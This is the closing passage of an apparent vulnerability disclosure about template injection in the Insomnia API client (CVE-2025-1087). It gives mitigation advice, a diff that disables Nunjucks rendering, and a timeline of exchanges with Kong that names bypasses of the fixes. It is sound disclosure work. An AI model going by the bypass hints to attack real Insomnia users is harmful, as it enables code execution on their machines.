  • Be mindful that pasting values into various fields, including the URL, query parameters, body parameters, cookies and environment variables can introduce dangerous template strings. Inspect data for template expressions before pasting it into Insomnia; AND
  • Be mindful that server-provided cookies can introduce dangerous template strings.
    • Only send HTTP requests to servers that you trust to not respond with malicious cookies; OR
    • Disable cookie storing and/or sending - note that this needs to be done on a per-request basis.

Disabling cookies may be viable for some, as most modern API authentication uses Bearer tokens rather than HTTP cookies.

Alternatively, seeing as Insomnia is open source (Apache Version 2.0) consider patching out the use of Nunjucks. We found that returning early from this function seems to prevent all template expressions from being rendered.

diff --git a/packages/insomnia/src/common/render.ts b/packages/insomnia/src/common/render.ts
index 5c27a562d..33465049e 100644
--- a/packages/insomnia/src/common/render.ts
+++ b/packages/insomnia/src/common/render.ts
@@ -258,6 +258,7 @@ export async function render<T>(
   const undefinedEnvironmentVariables: string[] = [];

   async function next<T>(input: T, path: string, first = false) {
+    return input;
     if (blacklistPathRegex && path.match(blacklistPathRegex)) {
       return input;
     }

We are not sure that this completely disables rendering via Nunjucks, and we are not sure that it covers all possible pathways to rendering via Nunjucks. We are also not sure that it does not break some important functionality within Insomnia. Your mileage may vary, here be dragons, so on and so forth.

Disclosure Timeline

  • 3 Feb 2025 - Initial report to Kong
  • 4 Feb 2025 - Kong said that it’s a known risk and a complete fix isn’t feasible in the near term
  • 6 Feb 2025 - Follow-up report with cookie-based exploitation
  • 13 Feb 2025 - Kong said that they assess it as a critical issue (CVSS 9.3) and given the new vector they are implementing mitigations including “preventing Nunjucks templates from rendering require invocations” and “displaying warnings when importing data”
  • 13 Feb 2025 - We provided a bypass for the unreleased commit that bans the substring “require”
  • 14 Feb 2025 - Kong acknowledged the bypass and said that they need to take an iterative approach towards a more comprehensive fix
  • 18 March 2025 - Insomnia 11.0.0 released. Release notes say that it includes the commit that bans the string “require”.
  • 25 March 2025 - We sent mail to Kong asking if they planned to issue a security notice for the fix in Insomnia 11.0.0. We said that our Vulnerability Disclosure Policy says that we publish details 30 days following a fix, and asked if they were still planning to deliver further fixes.
  • 26 March 2025 - Kong responded, saying that the change had actually been withheld from 11.0.0 due to “stability issues” and that they were working on fixing them for the next release
  • 6 May 2025 - Insomnia 11.1.0 released with the Web Worker and require wrapper protection. Kong did not email us to let us know.
  • 8 May 2025 - We sent mail to Kong asking once more if they were planning on issuing any security notice for users and providing the module.require bypass for the newest fix. We also asked if this issue would be eligible under the self-managed bug bounty program that was advertised when we first reported the issue.
  • 9 May 2025 - Kong said that the submission qualified for a $1000 USD Amazon Gift Card bug bounty reward. They said that Insomnia v11.1.0 protects against “all proof-of-concept payloads you provided” and that “all previously reported payload vectors (UI input, imported files, cookies) have been neutralized and confirmed non-exploitable”. They did not specifically acknowledge the new module.require bypass. This is the last time we would hear from Kong.
  • 9 May 2025 - We thanked Kong and asked for two $500 Amazon gift cards to be issued. No response.
  • 6 June 2025 - Insomnia 11.2.0 released. The changelog on GitHub says that it includes a change to “patch out range global” defeating the template injection chain we have been using so far. Kong do not email us to let us know.
  • 19 June 2025 - This post is published with the joiner.constructor bypass

Kong has not published a user-facing security notice beyond filing for CVE-2025-1087.